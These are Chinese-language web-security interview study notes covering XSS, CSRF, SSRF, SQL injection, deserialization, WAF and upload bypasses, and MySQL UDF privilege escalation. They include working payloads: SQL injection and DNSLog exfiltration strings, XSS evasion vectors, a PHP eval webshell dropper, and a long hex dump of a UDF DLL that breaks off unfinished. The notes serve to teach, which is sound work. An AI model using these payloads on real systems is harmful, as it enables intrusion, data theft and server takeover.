网安面试题整理

什么是XSS,有几种类型,如何防范?

XSS概念:

攻击者在网页中嵌入客户端脚本(JavaScript),当用户使用浏览器加载被嵌入恶意代码的网页时,用户的浏览器就会执行该恶意代码。

XSS弹窗方式:

alert ()
confirm ()
prompt ()
document.write ()
console.log ()

XSS本质:

用户输入的HTML语句直接输出。

XSS分类:

① 反射型:恶意代码没有保存在服务器中,而是以一种手法在url请求的参数中加入恶意脚本代码,非持久型,后端进行处理

② 存储型:恶意代码保存在服务器中,只要用户访问该站点,服务器就会把恶意代码发送给用户,持久型,后端进行处理

③ DOM型:通过修改网页的DOM节点形成XSS,前端处理,恶意代码不经过后端

区别:

反射型XSS的恶意代码存在URL中,存储型XSS的恶意代码存在服务器端,DOM型XSS的恶意代码是由前端浏览器完成的,属于前端JavaScript自身的安全漏洞

修复方式:

① 对实体字符进行转义

② 使用HTTP Only禁止JavaScript读取cookie值

③ 输入时做校验,禁止一些特殊字符的输入

④ 浏览器和web应用端采用相同的字符编码

什么是CSRF,如何防范?

CSRF概念:

CSRF叫跨站请求伪造攻击,是由客户端发起的请求。

大致的攻击流程是:用户登录了站点A,并且在没有退出登录状态的情况下访问了恶意站点B,最后恶意站点B在用户不知情的情况下,用用户的电脑伪造了一个请求去访问站点A。

修复方式:

① 尽量使用POST请求

② 加入验证码机制

③ 验证Referer字段

④ 在请求中嵌入Anti CSRF Token:防御的关键在请求上,要在请求中放入黑客不能伪造的信息

和XSS有啥不一样的?

XSS主要是攻击者想要拿到被害人的一些信息如cookie值;

而CSRF攻击是攻击者想要用被害人的身份信息去伪造一些恶意操作,但他自己是拿不到被害人的信息的。

什么是XXE,如何防范?

XXE概念:

XXE叫XML外部实体注入攻击,因为XML中可以调用实体来请求本地或远程文件的内容,所以当程序在解析攻击者伪造输入的XML数据时,就会发生XXE,可能会导致敏感文件的读取。

修复方式:

① XML解析库在调用时严格禁止对外部实体的解析

什么是SSRF,如何防范?

SSRF概念:

SSRF叫服务器端请求伪造,是由服务端发起的请求,起因是过于信任用户提供的URL。

大致的攻击流程是:攻击者想访问服务器B,但是服务器B在内网环境中,无法通过外网直接访问,于是攻击者找到了一台存在SSRF漏洞的服务器A,并且A和B在同一内网中,最终通过伪造请求,用A间接访问B的资源。

修复方式:

① 过滤返回信息,验证远程服务器对请求的响应

② 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

③ 限制请求的端口为 http 常用的端口,比如,80、443、8080、8090 等端口

④ 黑名单内网 ip。避免应用被用来获取获取内网数据,攻击内网

⑤ 禁用不需要的协议。仅仅允许 http 和 https 请求

SQL注入

SQL注入概念:

web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

mysql中的延时函数:

sleep()
benchmark(t,exp)
笛卡尔积
GET_LOCK()
RLIKE正则


benchmark(t,exp)
     select benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟,
     比如select benchmark(1000000,encode("hello","good"));
     select benchmark( 5000000, md5( 'test' ));

报错注入函数:

updatexml()、extractvalue()、floor()

1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 0,1))); #limit作用,显示长读有限制,用来控制每次查询数据的长度,下标从0开始


and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

二次注入:

原理:
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

例子:
新建用户admin' #
登录账号admin' # 并修改它的密码
最终却改掉了admin的密码

sqlmap常用指令:

#获取当前数据库名称
sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db

#列出当前数据库服务器上所有的数据库
sqlmap.py -u "http://url/news?id=1" --dbs

#列出指定数据库的所有表名
sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name"

#列出指定数据库、指定表的字段名
sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" -D"db_name"

#列出指定数据库、指定表、指定字段的内容,-C "column_name"可以省略,省略的话会列出当前表的所有字段内容
sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name"

#携带cookie进行注入,使用“--cookie=”指定cookie内容
sqlmap -u "http://url/dvwa/vulnerabilities/sqli/?id=5" --cookie="security=low;PHPSESSID=6c5c85b72a489b88b1d0c84664d611e6"

#post注入的一种方法,http_post_request.txt存储的是http request请求
sqlmap -r http_post_request.txt

#post注入的另外一种方法
sqlmap -u “http://url/news/”--data="id=2”

#获取当前数据库连接的⽤户
sqlmap.py -u "http://url/news?id=1" --current-user

#列出数据库所有用户
sqlmap.py -u "http://url/news?id=1" --users

#猜解数据库所有⽤户及密码
sqlmap.py -u "http://url/news?id=1" --passwords

拿到一个站如何渗透?

  1. 信息收集
    • 服务器相关信息:真实IP、系统类型、版本、开放的端口
    • 网站指纹:cms、cdn、证书、dns记录
    • whois信息:姓名、备案、邮箱、电话
    • 子域名收集、旁站、C段
    • google hacking
    • 扫描网站目录结构、爆破后台
  2. 漏洞测试
    • SQL注入、文件上传、命令执行、XSS、XXE、文件包含
  3. 漏洞利用
    • getshell
  4. 权限提升
    • MySQL udf提权(用户自定义函数,权限取决于登录MySQL账户的权限)
    • Windows低版本提权
    • Linux脏牛提权
  5. 权限维持
    • 通过添加开机自启动、计划任务、后门、隐藏账户
  6. 内网扫描
    • 内网主机端口探测、信息收集、内网隧道
  7. 内网攻击
  8. 痕迹清理
  9. 总结报告及修复方案

Nmap常用命令:

nmap -A -T4 127.0.0.1
	Nmap使用-T(0-5)可以启用时序选项)对于时序想选这里有0~5不同的选项.
	-T0(偏执的):非常慢的扫描,用于IDS逃避.
	-T1(鬼崇的):缓慢的扫描,用于IDS逃避.
	-T2(文雅的):降低速度以降低对带宽的消耗,此选项一般不常用.
	-T3(普通的):默认,根据目标的反应自动调整时间.
	-T4(野蛮的):快速扫描,常用扫描方式,需要在很好的网络环境下进行扫描,请求可能会淹没目标.
	-T5(疯狂的):急速扫描,这种扫描方式以牺牲准确度来提升扫描速度.

nmap -sP 127.0.0.1
	ping 扫描,用 ping 方式检查网络上哪些主机正在运行。
	当主机阻塞 ICMP echo 请求包是 ping 扫描是无效的。
	nmap 在任何情况下都会进行 ping 扫描,只有目标主机处于运行状态,才会进行后续的扫描。
	
nmap -P0 127.0.0.1
	无ping扫描
	如果想知道这些协议是如何判断目标主机是否存在可以使用--packet-trace选项。
	nmap -p0 --packet-trace 127.0.0.1
	
nmap -PS -v 127.0.0.1
	TCP SYN Ping
	扫描对于 root 用户,这个选项让 nmap 使用 SYN 包而不是 ACK 包来对目标主机进行扫描。
	指定端口:nmap -PS 80,100-200 -v 127.0.0.1

nmap -PA -v 127.0.0.1		# TCP ACK Ping扫描
nmap -PU -v 127.0.0.1		# UDP Ping扫描


简述JAVA反序列化、Shiro反序列化、PHP反序列化

JAVA反序列化

ObjectOutputStream.writeObject()用来实现序列化,将对象转为字节流

ObjectInputStream.readObject()用来反序列化,将字节流还原成对象

字节流特征:

aced 0005 开头

Shiro反序列化(命令-->序列化-->aes加密-->base64编码-->rememberme cookie值

aes密钥获取方法:爆破,通过信息泄露

由Apache Shiro提供的一个remember功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中。

服务器先获取cookie,将其base64解码、再进行AES解密,再将其反序列化校验。

漏洞点:AES是硬编码,可以先爆破密钥,最后进行cookie重构(构造恶意代码、进行序列化、进行AES加密、进行base64编码)

PHP反序列化

序列化:将一个对象转换成字符串

反序列化:将字符串转化成对象

魔术方法:

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
public : 被序列化的时候属性名 不会更改

protected : 被序列化的时候属性名 会变成 %00*%00属性名

private : 被序列化的时候属性名 会变成 %00类名%00属性名

输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式

Metasploit框架(MSF)

步骤1:使用Auxiliaries模块(辅助模块)进行主机扫描

主要功能:

该模块不会直接在测试者和目标主机之间建立访问,它们只会负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

使用流程:

  1. 使用search搜索可以用来对目标主机进行端口扫描的模块:

    # 进入msf工作区
    msfconsole
    
    # 搜索可用的端口扫描模块
    search portscan
    
    # 选择对应模块,并设置参数
    use auxiliary/scanner/portscan/tcp
    show options
    set rhost 192.168.0.123  # setg用于全局参数设置,对应取消是unset、unsetg
    
    # 运行脚本
    run
    
  2. 使用辅助模块进行服务扫描

    # 查看可用的扫描器
    search scanner
    
  3. 使用nmap扫描

    nmap -O 192.168.0.123
    

步骤2:漏洞利用

测试靶机:metasploitable2

  1. 先进行存活主机扫描

    # 使用nbname模块进行Netbios协议探测
    use auxiliary/scanner/netbios/nbname
    # 设置rhost
    set rhost 192.168.226.0/24
    # 运行
    run
    
  2. 对目标进行端口扫描

    # 使用nmap探测开放的端口的系统/服务信息
    nmap -sV 192.168.226.132
    
  3. 针对开放的端口服务检索可用漏洞

  4. use 可用模块进行exploit

步骤3:进程转移

DNSLog

适用场景

1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
5.无回显的SSRF
5.Blind XXE
  1. sql盲注:

    前提条件:secure_file_priv=''、load_file()可用

    使用DNSLog获取域名:如qt73lb.dnslog.cn

    构造payload:

    1' and (select load_file(concat('//',(select database()),'.qt73lb.dnslog.cn/as'))) # 后面这个/as随便写,要有
    

    执行成功后返回DNSLog查看结果:

    image

常见中间件漏洞

  1. Tomcat常见漏洞
  2. Nginx常见漏洞
    • Nginx越界读取缓存漏洞(CVE-2017-7529)
    • 文件解析(对任意文件名,在后面添加/”任意文件名“.php的解析漏洞)
  3. IIS常见漏洞
    • 解析漏洞(处理含有特殊符号的文件路径时会出现逻辑错误)
    • 远程代码执行(对url的长度没有进行有效的控制和检查,导致对虚拟路径进行构造的时候,引发栈溢出)
    • 短文件名猜解(暴力猜解,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400)
    • PUT漏洞(在 Web 服务扩展中开启了 WebDAV ,并且配置了可以写入的权限,造成任意文件上传)
  4. Apache常见漏洞
    • 解析漏洞(默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,则继续向左识别,如1.php.321)
    • 目录遍历(由于配置错误导致的直接将目录在页面上进行展示)

常见逻辑漏洞

  1. 注册覆盖:注册重复用户名会对用户数据进行覆盖
  2. 注册遍历:进行注册的时候注册重复的用户名会提示用户名已被注册,我们可以利用该方法猜测用户名
  3. 前端认证:登录状态只通过状态码进行前端认证,我们可以抓包修改状态码以绕过验证
  4. 图形验证码:验证码直接出现在html源码中或只进行前端验证,或隐藏在Cookie中,或者可以通过图像识别得到,或者存在重复的验证码可以通过不断发包直到遇到重复的验证码
  5. 短信验证码:未设置验证时间或验证次数的限制,可以进行爆破
  6. 越权访问:
    • 水平越权:未对权限做细分,导致拥有相同权限的用户A和用户B可以互相查看对方的身份信息
    • 垂直越权:后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致普通用户可以猜测管理页面的url或参数信息,从而达到提升权限的目的

如何排查系统内存shell

通过web日志,查看是否有大量url请求路径相同,但参数不同的

去对应目录查看是否存在该文件,若不存在大概率内存马

再去通过排查中间件error.log日志,看看是否有可疑报错。

其他:排查Java代码执行漏洞、是否存在webshell、框架漏洞、反序列化漏洞

代码审计

常用工具:

Seay源代码审计系统

RIPS

VisualCodeGrepper

JWT

Token有三部分组成

标头.有效载荷.签名(xxxxxx.yyyyy.zzzzz)

标头由两部分组成,一个是令牌的类型,还有所使用的签名算法。他会使用base64编码将其组成JWT的第一部分。

{

​ “alg”: “HS256”,

​ “tpy”: “JWT”

}

有效载荷里主要存放的是用户的实体信息和其他数据的声明,同样使用base64加密将其组成JWT的第二部分。这一部分里需要注意的是,不能存放敏感信息,因为其使用base64编码,可以解码取出其值,所以这部分不能存放密码之类的信息。

{

​ “id”: “1”,

​ “name”: “张三”

​ “admin”: “true”

}

第三部分是签名,前两部分是使用base64编码完成,前端可以进行解码取出其值。签名这部分则需要使用前面两段的base64编码后的数据再加上“盐”(即我们的秘钥),最后使用标头中指定的算法完成签名。

这样做的目的是为了保证我们的数据没有被他人修改过。

所以JWT适合向web应用传递一些非敏感的信息以及身份验证。

WAF

产品:ModSecurity、网站安全狗、云锁、D盾

绕waf姿势((WAF绕过小技巧):

  1. 脏数据绕过
    有些WAF只检测开头8K的内容,这时就可以在开头塞入脏数据绕过检测(例如:5000个X字符)。

  2. 高并发绕过
    对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截。

  3. http参数污染
    例如在php语言中,id=1&id=2后面的值会自动覆盖前面的值,可以利用这点绕过一些waf的拦截。

  4. 编码绕过
    有些WAF可能对编码数据不能有效解码,比如URL编码两次,在WAF处只进行了一次解码,导致无法检测出恶意字符,而数据进入服务器时又进行了一次解码。导致传入有效的恶意数据

  5. 利用http协议绕过

    分块传输的方法

    image

畸形包绕过(pipline绕过)

image

  1. 变换请求方法

    WAF对不同的请求方法设定了不同的规则,变换方法有可能绕过WAF

SQL注入绕WAF

  1. 架构层绕WAF

    通过找到web应用的真实IP,来绕过waf

  2. 协议层绕WAF

    • 有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

    • 页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf。

    • 参数污染:有的waf仅对部分内容进行过滤

      index.php?id=1&id=2
      
  3. 规则层面绕过WAF

    • 关键词大小写绕过

      union select ---> UnIOn SeLEcT
      
    • 编码绕过

      union select 1,2,3#
      union%0aselect%0a1%2C2%2C3%23
      
    • 双写绕过

      UNIunionON SELselectECT anandd
      
    • 换行(\N)绕过

      select * from admin where username =1' \N union select 1,user()#
      
      select * from admin where username =1'%0Aunion%20select%201%2Cuser()%23
      
      
    • 注释符内联注释绕过

      # 它和数据库版本有关,当注释中的版本号大于数据库版本就不会执行其中的内容
      # 查询数据库版本--5.7.26--对应50726
      SELECT @@version
      # 此时where语句失效
      SELECT * FROM users /*!50727 where id=1*/
      
      # 正常执行
      SELECT * FROM users WHERE id=2 union /*!50726SELECT*/ 1,2,3
      # 去空格也可用
      SELECT * FROM users WHERE id=2/*!50726union*//*!50726SELECT*/1,2,3
      
    • 同义词替换

      and:&&
      or:||
      =:like 或综合<与>判断。
      比如or 1=1可以写成:
      		or 1 like 1,或者
      		or 1<2,或者
      		or 1>0
      
      等价函数替换:
      hex()、bin() --> ascii()
      sleep() --> benchmark()
      concat_ws() --> group_concat()
      mid()、substr() --> substring()
      @@user --> user()
      @@datadir() --> datadir()
      if(a,b,c) --> case when(A) then B else C end
      substr(str,1,1) --> substr (str) from 1 for 1
      limit 1,1 --> limit 1 offset 1
      Union select 1,2 --> union select * from ((select 1)A join (select 2)B; #存疑
      
    • 垃圾参数

      GET:
      ?id=1 and id=0xA*1000 uNiOn SeLeCt 1,version(),3 --+
      
      POST:
      a=A···[很多个A]···AA &id=1 order by 3
      
    • 分块传输

      在burp中关闭自动补全,删掉Content-Length: xx字段,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。只有能接收POST请求的对象可以使用这种方式。

      image

    • mysql特殊语法

      select{a password}from{b security.users}
      

XSS绕WAF

  1. JS伪协议利用

    形式:javascript:[代码]
    示例:<table background="javascript:alert(1)"></table>
    
    支持伪协议的属性有:href,lowsrc,bgsound,background,action,dynsrc
    
  2. 基于黑名单过滤

    示例:<img src="javas	cript:alert(1)">,中间为tab键
                         
    用于绕过某些黑名单
    <img src="jav	ascript:alert('XSS');">
                         
    对TAB进行编码
    <img src="jav&#x09;ascript:alert('XSS');">
                         
    利用换行符绕过
    <img src="jav&#x0A;ascript:alert('XSS');">
                         
    利用回车符绕过
    <img src="jav&#x0D;ascript:alert('XSS');">
                         
    大小写混淆
    示例:<IMg SRc oNERRoR=aLERT(1)>
                         
    编码绕过
                         
    过滤引号策略:双引号不行单引号;单引号不行不要引号;不要引号不行试试反引号 `(IE支持)
    

文件上传

1. 常见文件头
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638(GIF89a)

2. .htaccess
写法一:
AddType application/x-httpd-php .jpg
写法二:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

3. .user.ini
.user.ini中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file
前者指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数,后者类似,只是在文件后面包含。
使用方法:
auto_prepend_file=1.jpg
当我们访问此目录下的任何一个文件时,都会去包含1.jpg

4. 0x00截断
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。
使用方法:get中使用%00,post中需要url解码(两个看不见的字符)

5. windows特性
使用冒号:		 如:1.php:.jpg
使用空格点		如:1.php .

文件上传绕WAF

  1. 等号绕过

    在filename后多添加两个等号

    image

  2. 添加多个filename绕过

    Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
    
  3. 交换name和filename的顺序

    规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
    Content-Disposition: form-data; filename="xx.php"; name=file_x
    
  4. 多个分号

    文件解析时,可能解析不到文件名,导致绕过。
    Content-Disposition: form-data; name="file_x";;; filename="test.php"
    
  5. 换行绕过

    在文件后缀名处换行

    image

  6. 填充垃圾数据

    有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。

    此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验。

    在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验:

    image

  7. NTFS ADS特性绕过

    image

  8. 条件竞争上传

    一些网站上传文件的逻辑时先允许上传任意文件,然后检查上传文件的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

    攻击者需要先上传一个WebShell脚本1.php,1.php的内容为生成一个新的WebShell脚本shell.php,1.php写入如下代码
    <?php
    	fputs(fopen("../shell.php", "w"),'<?php @eval($_POST['cmd']); ?>');
    ?>
    当1.php上传完成后,客户端立即访问1.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用了时间差完成了WebShell的上传
    

MYSQL提权

  1. UDF提权

    1. 获取plugin目录
    SELECT @@plugin_dir
    
    2. 使用一个udf的动态链接库,可以从sqlmap中获取
    	路径:/usr/share/sqlmap/data/udf/mysql/windows/64/
    	使用前要对其进行解码,需要使用sqlmap自带的py脚本
    	路径:/usr/share/sqlmap/extra/cloak/
    	命令:python cloak.py -d -i lib_mysqludf_sys.dll_
    	最终得到一个lib_mysqludf_sys.dll的动态链接库
    3. 将该动态链接库上传至mysql的plugin目录
    	方法一:使用文件上传漏洞上传
    	方法二:使用十六进制写入,前提条件secure_file_priv=''
    			首先创建一个临时表用来存放数据:use mysql;
    										CREATE TABLE udftmp(c LONGBLOB);
    			然后将十六进制解码写入该表:INSERT INTO udftmp VALUES(UNHEX('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253